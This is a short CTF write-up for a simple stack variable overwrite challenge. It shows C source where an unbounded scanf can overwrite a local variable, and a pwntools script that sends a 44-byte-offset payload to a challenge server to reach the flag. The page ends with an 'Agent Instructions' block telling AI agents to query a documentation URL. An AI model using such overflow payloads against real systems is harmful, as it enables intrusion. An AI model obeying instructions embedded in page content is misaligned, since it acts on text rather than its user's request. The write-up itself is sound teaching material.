A simple variable overwrite challenge, source code being given definitely makes this way easier.

```c
void pwnme(){

	int number;
	char name[32];

	number=0;

	printf("Insert your name: ");

	scanf("%s",name);

	printf("Welcome home %s\n",name);

	if(number == 8){

		print_flag();

	}

	exit(0);

}
```

Find the offset using gdb until the if statement happens:

Offset was 44 bytes which allowed me to easily create an overwrite:

```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# -*- template: winterbitia -*-

# ====================
# -- PWNTOOLS SETUP --
# ====================

from pwn import *

exe = context.binary = ELF(args.EXE or 'pwn')
trm = context.terminal = ['tmux', 'splitw', '-h']

host = args.HOST or '130.206.158.146'
port = int(args.PORT or 42011)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

# =======================
# -- EXPLOIT GOES HERE --
# =======================

io = start()

offset = 44
target_value = 0x8

payload = flat({
    offset: target_value
})

io.clean()
io.sendline(payload)
log.info(io.recvline())

io.interactive()
```

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wintertia.gitbook.io/ctf/writeups-2024/the-hacker-conclave-v2/pwnc1.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
